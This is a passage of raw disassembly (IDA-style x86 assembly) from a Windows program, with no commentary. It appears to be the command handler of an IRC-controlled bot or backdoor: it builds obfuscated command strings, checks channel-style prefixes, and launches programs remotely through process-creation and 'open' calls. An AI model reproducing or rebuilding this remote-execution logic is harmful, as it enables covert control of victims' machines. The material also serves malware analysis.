sub_403C90 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403D10 proc near ; CODE XREF: sub_401AD2j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403D10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+33h]
mov [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+1Eh]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403D10 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403D90 proc near ; CODE XREF: sub_401749j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403D90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403D90 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403E00 proc near ; CODE XREF: sub_4011A4j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403E00
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_402207
lea ecx, [esi+49h]
mov [esp+14h+var_4], 0
call sub_402207
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_402207
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_402207
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_402207
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_402207
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_402207
lea ecx, [esi+1FFh]
mov byte ptr [esp+14h+var_4], 6
call sub_402207
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403E00 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403EE0 proc near ; CODE XREF: sub_40206Dj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403EE0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+1FFh]
mov [esp+14h+var_4], 6
call sub_401AD2
lea ecx, [esi+1B6h]
mov byte ptr [esp+14h+var_4], 5
call sub_401AD2
lea ecx, [esi+16Dh]
mov byte ptr [esp+14h+var_4], 4
call sub_401AD2
lea ecx, [esi+124h]
mov byte ptr [esp+14h+var_4], 3
call sub_401AD2
lea ecx, [esi+0DBh]
mov byte ptr [esp+14h+var_4], 2
call sub_401AD2
lea ecx, [esi+92h]
mov byte ptr [esp+14h+var_4], 1
call sub_401AD2
lea ecx, [esi+49h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AD2
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AD2
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403EE0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_403FC0 proc near ; CODE XREF: sub_401D34j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403FC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 48h
push ebp
push esi
push edi
push 0
push 4
push 9
push 4Fh
lea eax, [esp+70h+var_3C]
push 2
mov esi, ecx
push eax
call sub_4019B5
add esp, 18h
push esi
mov ecx, eax
mov [esp+64h+var_4], 0
call sub_4017E4
lea ecx, [esi+0C29h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
sub_403FC0 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4
push 0Eh
push 12h
push 4Fh
lea edx, [esp+48h]
push 2
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 1
call sub_4017E4
push eax
lea eax, [esi+0BCDh]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 14h
push 15h
push 0Fh
push 2
push 1
push 4Fh
lea ecx, [esp+40h]
push 2
push ecx
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 2
call sub_4017E4
lea edx, [esi+0C57h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 12h
push 15h
push 3
push 5
push 13h
push 4Fh
lea eax, [esp+44h]
push 2
push eax
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 3
call sub_4017E4
lea ecx, [esi+0DF5h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Fh
push 6
push 0Eh
push 9
push 13h
push 19h
push 13h
push 4Fh
lea edx, [esp+48h]
push 2
push edx
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 4
call sub_4017E4
push eax
lea eax, [esi+0C85h]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 10h
push 13h
push 0Ch
push 4Fh
lea ecx, [esp+38h]
push 2
push ecx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 5
call sub_4017E4
lea edx, [esi+0B71h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
push 4Fh
lea eax, [esp+4Ch]
push 2
push eax
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 6
call sub_4017E4
lea ecx, [esi+0DC7h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Eh
push 5
push 10h
push 0Fh
push 4Fh
lea edx, [esp+3Ch]
push 2
push edx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 7
call sub_4017E4
push eax
lea eax, [esi+0D0Fh]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 14h
push 9
push 15h
push 11h
push 4Fh
lea ecx, [esp+3Ch]
push 2
push ecx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 8
call sub_4017E4
lea edx, [esi+0D99h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 4
push 0Dh
push 3
push 4Fh
lea eax, [esp+38h]
push 2
push eax
call sub_4019B5
add esp, 1Ch
mov dword ptr [esp+5Ch], 9
push esi
mov ecx, eax
call sub_4017E4
lea ecx, [esi+0E23h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
lea edx, [esp+38h]
push 2
push edx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Ah
call sub_4017E4
push eax
lea eax, [esi+0D6Bh]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 13h
push 0Eh
push 4
push 4Fh
lea ecx, [esp+38h]
push 2
push ecx
call sub_4019B5
add esp, 1Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Bh
call sub_4017E4
lea edx, [esi+0D3Dh]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 5
push 0Dh
push 9
push 14h
push 10h
push 15h
push 0Ch
push 4Fh
lea eax, [esp+48h]
push 2
push eax
call sub_4019B5
add esp, 2Ch
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Ch
call sub_4017E4
lea ecx, [esi+0CB3h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+5Ch], edi
call sub_401226
push 0
push 0Bh
push 3
push 9
push 0Eh
push 4Fh
lea edx, [esp+3Ch]
push 2
push edx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+60h], 0Dh
call sub_4017E4
push eax
lea eax, [esi+0CE1h]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
db 8Dh
dd 8924244Ch, 0E85C247Ch, 0FFFFCE26h, 0E8094E8Dh, 0FFFFD3DCh
dd 0C244C8Dh, 0FE85150h, 83FFFFDCh, 6A08C4h, 1D6A256Ah
dd 548D236Ah, 286A3424h, 2444C752h, 0E74h, 0D583E800h
dd 0C483FFFFh, 8DE88B18h, 0C60C244Ch, 0F5C2444h, 0FFD39FE8h
dd 0CD8B50FFh, 0FFD397E8h, 0F46850FFh, 68004435h, 4D60A5h
dd 0FFD9AEE8h, 10C483FFh, 24244C8Dh, 5C2444C6h, 0CDB8E80Eh
dd 206AFFFFh, 4024448Dh, 8D50006Ah, 0E818244Ch, 0FFFFCE32h
dd 44C6C88Bh, 0E8105C24h, 0FFFFD358h, 35F06850h, 75680044h
dd 0E8004E6Eh, 0FFFFCB91h, 8D0CC483h, 0C63C244Ch, 0E5C2444h
dd 0FFCD79E8h, 6BE890FFh, 8B023CC4h, 4DD3B8C8h, 7C891062h
dd 0E1F75C24h, 8D06EAC1h, 890C244Ch, 57E80556h, 8BFFFFCDh
dd 5F54244Ch, 89645D5Eh, 0Dh, 54C48300h, 909090C3h, 3 dup(90909090h)
dd 54h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_404640 proc near ; CODE XREF: sub_401A32j
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push 0FFFFFFFFh
push offset SEH_404640
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 7Ch
push ebx
push ebp
push esi
mov esi, [esp+94h+arg_0]
mov ebp, ecx
push edi
lea ebx, [esi+2Ah]
push 0
mov ecx, ebx
mov [esp+9Ch+var_88], ebp
call sub_40146F
mov cl, [eax]
lea edi, [esi+69h]
cmp cl, 23h
jnz short loc_404682
push ebx
jmp short loc_404686
; ---------------------------------------------------------------------------
loc_404682: ; CODE XREF: sub_404640+3Dj
lea eax, [esi+15h]
push eax
loc_404686: ; CODE XREF: sub_404640+40j
mov ecx, edi
call sub_401FBE
mov al, [esi+94h]
test al, al
jz short loc_4046A2
lea ecx, [esi+15h]
push ecx
mov ecx, edi
call sub_401FBE
loc_4046A2: ; CODE XREF: sub_404640+55j
mov al, [esi+95h]
test al, al
jz short loc_40471F
lea ecx, [esp+98h+var_6C]
call sub_401424
push offset aO ; " -o"
mov ecx, esi
mov [esp+9Ch+var_4], 0
call sub_4013E3
add eax, 3
lea edx, [esp+98h+var_54]
push eax
push edx
mov ecx, esi
call sub_401E2E
push eax
lea ecx, [esp+9Ch+var_6C]
mov byte ptr [esp+9Ch+var_4], 1
call sub_401FBE
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], 0
call sub_401226
lea eax, [esp+98h+var_6C]
mov ecx, edi
push eax
call sub_401FBE
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
loc_40471F: ; CODE XREF: sub_404640+6Aj
push offset asc_443600 ; " "
lea ecx, [esp+9Ch+var_6C]
push 0
push ecx
mov ecx, esi
call sub_4016AE
lea edx, [esp+98h+var_54]
mov ebx, 2
push 1
push edx
mov ecx, eax
mov [esp+0A0h+var_4], ebx
call sub_401E2E
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 3
call sub_401FBE
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_6C]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
push 0
lea ecx, [ebp+32Ch]
call sub_40146F
push 0
mov ecx, esi
mov ebp, eax
call sub_40146F
mov al, [eax]
mov cl, [ebp+0]
cmp al, cl
jnz loc_4049EA
push 0
push 14h
push 1
push 5
push 10h
push 5
push 12h
push 4Eh
push 14h
push 0Fh
lea ecx, [esp+0C0h+var_54]
push ebx
push ecx
call sub_4019B5
add esp, 30h
mov ecx, eax
mov [esp+98h+var_4], 4
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_40480F
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+0B0h+arg_0], esp
push edx
call sub_4014C9
mov ecx, offset word_448C8E
call sub_401CD0
test eax, eax
jz short loc_40480F
mov bl, 1
jmp short loc_404811
; ---------------------------------------------------------------------------
loc_40480F: ; CODE XREF: sub_404640+1A6j
; sub_404640+1C9j
xor bl, bl
loc_404811: ; CODE XREF: sub_404640+1CDj
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test bl, bl
jz loc_4049CE
push offset asc_443600 ; " "
lea eax, [esp+9Ch+var_54]
push 1
push eax
mov ecx, esi
call sub_4016AE
push offset byte_446F60
mov ecx, eax
mov [esp+9Ch+var_4], 5
call sub_4012EE
test eax, eax
lea ecx, [esp+98h+var_54]
mov [esp+98h+var_4], 0FFFFFFFFh
setz bl
call sub_401226
test bl, bl
jnz loc_4049EA
push offset asc_443600 ; " "
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+98h+var_4], 6
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+98h+var_54]
mov ebp, eax
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
test ebp, ebp
jz loc_4049EA
push 20h
mov ecx, esi
call sub_401D20
lea edx, [esp+98h+var_84]
push eax
push edx
mov ecx, esi
call sub_401E2E
mov ebx, 7
push 20h
lea ecx, [esp+9Ch+var_84]
mov [esp+9Ch+var_4], ebx
call sub_401D20
push eax
lea eax, [esp+9Ch+var_54]
push eax
lea ecx, [esp+0A0h+var_84]
call sub_401E2E
push eax
lea ecx, [esp+9Ch+var_84]
mov byte ptr [esp+9Ch+var_4], 8
call sub_40200E
lea ecx, [esp+98h+var_54]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
lea ecx, [esp+98h+var_84]
push ecx
mov ecx, esi
call sub_401FBE
push offset asc_443600 ; " "
lea edx, [esp+9Ch+var_24]
push 0
push edx
mov ecx, esi
call sub_4016AE
lea ecx, [esp+98h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+0A0h+var_4], 9
call sub_401E2E
push eax
mov ecx, edi
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_401FBE
lea ecx, [esp+98h+var_3C]
mov byte ptr [esp+98h+var_4], 9
call sub_401226
lea ecx, [esp+98h+var_24]
mov byte ptr [esp+98h+var_4], bl
call sub_401226
mov al, [esp+98h+arg_4]
test al, al
jnz short loc_4049A7
test ebp, ebp
jle short loc_4049B8
loc_404998: ; CODE XREF: sub_404640+363j
mov ecx, [esp+98h+var_88]
push esi
call sub_401F69
dec ebp
jnz short loc_404998
jmp short loc_4049B8
; ---------------------------------------------------------------------------
loc_4049A7: ; CODE XREF: sub_404640+352j
test ebp, ebp
jle short loc_4049B8
loc_4049AB: ; CODE XREF: sub_404640+376j
mov ecx, [esp+98h+var_88]
push esi
call sub_401442
dec ebp
jnz short loc_4049AB
loc_4049B8: ; CODE XREF: sub_404640+356j
; sub_404640+365j ...
lea ecx, [esp+98h+var_84]
mov [esp+98h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_4049EA
; ---------------------------------------------------------------------------
loc_4049CE: ; CODE XREF: sub_404640+1E7j
mov al, [esp+98h+arg_4]
mov ecx, [esp+98h+var_88]
test al, al
push esi
jnz short loc_4049E5
call sub_401F69
jmp short loc_4049EA
; ---------------------------------------------------------------------------
loc_4049E5: ; CODE XREF: sub_404640+39Cj
call sub_401442
loc_4049EA: ; CODE XREF: sub_404640+162j
; sub_404640+232j ...
mov ecx, [esp+98h+var_C]
pop edi
pop esi
pop ebp
mov large fs:0, ecx
pop ebx
add esp, 88h
retn 8
sub_404640 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404B10 proc near ; CODE XREF: sub_401F69j
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
mov ecx, offset word_448C92
call sub_4014D3
mov esi, [esp+8+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jz short loc_404B56
sub esp, 18h
lea eax, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push eax
call sub_4014C9
mov ecx, offset word_448C8E
call sub_401CD0
test eax, eax
jnz short loc_404B56
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404B56: ; CODE XREF: sub_404B10+1Dj
; sub_404B10+3Dj
sub esp, 18h
lea edx, [esi+15h]
mov ecx, esp
mov [esp+20h+arg_0], esp
push edx
call sub_4014C9
mov ecx, offset word_448C8E
call sub_401CD0
test eax, eax
jnz short loc_404B96
mov al, [edi+469h]
test al, al
jz short loc_404B96
push 0
lea ecx, [esi+2Ah]
call sub_40146F
cmp byte ptr [eax], 23h
jz short loc_404B96
xor al, al
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404B96: ; CODE XREF: sub_404B10+64j
; sub_404B10+6Ej ...
push esi
mov ecx, edi
call sub_401442
pop edi
pop esi
retn 4
sub_404B10 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404BE0 proc near ; CODE XREF: sub_401442j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 1
lea ecx, [esi+7Eh]
call sub_4017E4
push eax
mov ecx, offset dword_447148
call sub_401AF0
test eax, eax
jz short loc_404C0A
mov ecx, [eax+2Ah]
push esi
mov eax, [ecx]
call dword ptr [eax]
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_404C0A: ; CODE XREF: sub_404BE0+1Cj
xor al, al
pop esi
retn 4
sub_404BE0 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C20 proc near ; CODE XREF: sub_40185Cj
push esi
push edi
mov edi, dword_50F8A4
mov esi, ecx
call edi
mov edx, dword_4D60C9
mov ecx, [esi+421h]
sub eax, edx
cmp eax, ecx
jbe short loc_404C4F
mov ecx, offset byte_4D60A5
call sub_401D0C
call edi
mov dword_4D60C9, eax
loc_404C4F: ; CODE XREF: sub_404C20+1Cj
pop edi
mov al, 1
pop esi
retn
sub_404C20 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_404C70 proc near ; CODE XREF: sub_4017C6j
var_1B4 = dword ptr -1B4h
var_1B0 = byte ptr -1B0h
var_1AC = dword ptr -1ACh
var_1A8 = byte ptr -1A8h
var_198 = byte ptr -198h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_17C = dword ptr -17Ch
var_178 = byte ptr -178h
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_14D = byte ptr -14Dh
var_14C = byte ptr -14Ch
var_130 = byte ptr -130h
var_11C = byte ptr -11Ch
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_D0 = dword ptr -0D0h
var_A0 = byte ptr -0A0h
var_8C = byte ptr -8Ch
var_54 = byte ptr -54h
var_50 = byte ptr -50h
var_48 = byte ptr -48h
var_30 = byte ptr -30h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_404C70
push eax
mov large fs:0, esp
sub esp, 15Ch
push ebx
push ebp
push esi
mov esi, [esp+174h+arg_0]
push edi
mov edi, ecx
lea ebp, [esi+7Eh]
lea ecx, [edi+0C29h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404CE4
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [edi+2E3h]
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
mov ecx, offset byte_4D60A5
call sub_401118
jmp loc_405675
; ---------------------------------------------------------------------------
loc_404CE4: ; CODE XREF: sub_404C70+40j
lea ecx, [edi+0D6Bh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404E75
push 1
push offset asc_443600 ; " "
lea edx, [esp+180h+var_14C]
push 2
push edx
mov ecx, esi
call sub_4011EA
push offset asc_443600 ; " "
lea eax, [esp+17Ch+var_100]
push 1
push eax
mov ecx, esi
mov [esp+184h+var_4], 0
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
cmp eax, 1
lea ecx, [esp+178h+var_100]
mov byte ptr [esp+178h+var_4], 0
setz bl
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_401424
push 2000h
push 2000h
lea ecx, [esp+180h+var_164]
mov byte ptr [esp+180h+var_4], 2
call sub_401C5D
push eax
lea ecx, [esp+180h+var_14C]
call sub_4017E4
push eax
nop
call near ptr 27F0000h
lea ecx, [esp+178h+var_164]
push ecx
lea ecx, [esp+17Ch+var_14C]
call sub_401FBE
mov ecx, 11h
xor eax, eax
lea edi, [esp+178h+var_D0]
lea edx, [esp+178h+var_11C]
rep stosd
lea eax, [esp+178h+var_D0]
push edx
push eax
push 0
neg bl
push 0
push 28h
sbb ebx, ebx
push 1
and ebx, 5
push 0
push 0
lea ecx, [esp+198h+var_14C]
mov [esp+198h+var_D0], 44h
mov word ptr [esp+198h+var_A0], bx
call sub_4014D3
push eax
push 0
call near ptr 27E0533h
nop
test eax, eax
jnz short loc_404E49
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push offset aExec_error ; "exec.error"
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_404E49: ; CODE XREF: sub_404C70+18Cj
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 0
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_404E75: ; CODE XREF: sub_404C70+89j
lea ecx, [edi+0B71h]
call sub_4014D3
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_404F24
push 1
push offset asc_443600 ; " "
lea eax, [esp+180h+var_164]
push 1
push eax
mov ecx, esi
call sub_4011EA
mov ecx, offset byte_4E6E75
mov [esp+178h+var_4], 3
call sub_4017E4
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4012EE
test eax, eax
jnz short loc_404F10
mov al, byte_4478C6
test al, al
jz short loc_404EE0
push offset dword_447864
mov ecx, offset dword_448DA0
call sub_401447
loc_404EE0: ; CODE XREF: sub_404C70+25Fj
mov al, byte_44790F
test al, al
jz short loc_404EF8
push offset byte_44793F
mov ecx, offset dword_448DA0
call sub_401942
loc_404EF8: ; CODE XREF: sub_404C70+277j
mov ecx, offset dword_448DA0
call sub_401E5B
mov byte_4D60BC, 0
mov byte_4E6E74, 0
loc_404F10: ; CODE XREF: sub_404C70+256j
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_164]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_404F24: ; CODE XREF: sub_404C70+21Aj
lea ecx, [edi+0C57h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_404F6C
lea ecx, [esi+69h]
call sub_4014D3
push eax
mov ecx, offset word_4E6E8A
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
mov ecx, offset byte_4D60A5
call sub_401118
jmp loc_405675
; ---------------------------------------------------------------------------
loc_404F6C: ; CODE XREF: sub_404C70+2C9j
lea ecx, [edi+0DC7h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405029
push eax
push 13h
push 0Eh
push 4
push 8
push 13h
push 15h
push 0Ch
push 6
lea eax, [esp+19Ch+var_14C]
push 50h
push eax
call sub_4019B5
add esp, 2Ch
mov esi, eax
push 0
push 5
push 18h
push 5
push 4Eh
push 7
push 9
push 6
push 0Eh
push 0Fh
push 3
push 10h
lea ecx, [esp+1A8h+var_164]
push 9
push ecx
mov [esp+1B0h+var_4], 4
call sub_4019B5
add esp, 38h
mov edi, eax
mov ecx, esi
mov byte ptr [esp+178h+var_4], 5
call sub_4017E4
push eax
mov ecx, edi
call sub_4017E4
push eax
call sub_401299
add esp, 8
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 4
call sub_401226
lea ecx, [esp+178h+var_14C]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_405029: ; CODE XREF: sub_404C70+311j
lea ecx, [edi+0D0Fh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405147
lea ecx, [esp+178h+var_14C]
call sub_401424
push offset asc_443600 ; " "
lea edx, [esp+17Ch+var_11C]
push 1
push edx
mov ecx, esi
mov [esp+184h+var_4], 6
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+178h+var_4], 7
call sub_4017E4
push eax
lea ecx, [esp+17Ch+var_14C]
call sub_401A87
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
lea ecx, [esp+178h+var_164]
call sub_401424
push 1
mov bl, 8
push 0
push 0
lea ecx, [esp+184h+var_14C]
mov byte ptr [esp+184h+var_4], bl
call sub_4017E4
push eax
push offset aOpen ; "open"
push 0
nop
call near ptr 7CA41110h
movsx eax, al
push eax
lea ecx, [esp+17Ch+var_11C]
call sub_4020F4
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], 9
push ecx
lea ecx, [esp+17Ch+var_164]
call sub_40200E
lea ecx, [esp+178h+var_11C]
mov byte ptr [esp+178h+var_4], bl
call sub_401226
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+17Ch+var_164]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 6
call sub_401226
mov [esp+178h+var_4], 0FFFFFFFFh
lea ecx, [esp+178h+var_14C]
jmp loc_40566E
; ---------------------------------------------------------------------------
loc_405147: ; CODE XREF: sub_404C70+3CEj
lea ecx, [edi+0D99h]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz short loc_40516A
mov byte_4D60BC, al
mov al, 1
jmp loc_405675
; ---------------------------------------------------------------------------
loc_40516A: ; CODE XREF: sub_404C70+4ECj
lea ecx, [edi+0D3Dh]
call sub_4017E4
push eax
mov ecx, ebp
call sub_4012EE
test eax, eax
jnz loc_405431
lea ecx, [esp+178h+var_11C]
call sub_401424
push offset asc_443600 ; " "
lea ecx, [esp+17Ch+var_164]
push 1
mov ebx, 0Ah
push ecx
mov ecx, esi
mov [esp+184h+var_4], ebx
call sub_4016AE
push offset byte_446F60
mov ecx, eax
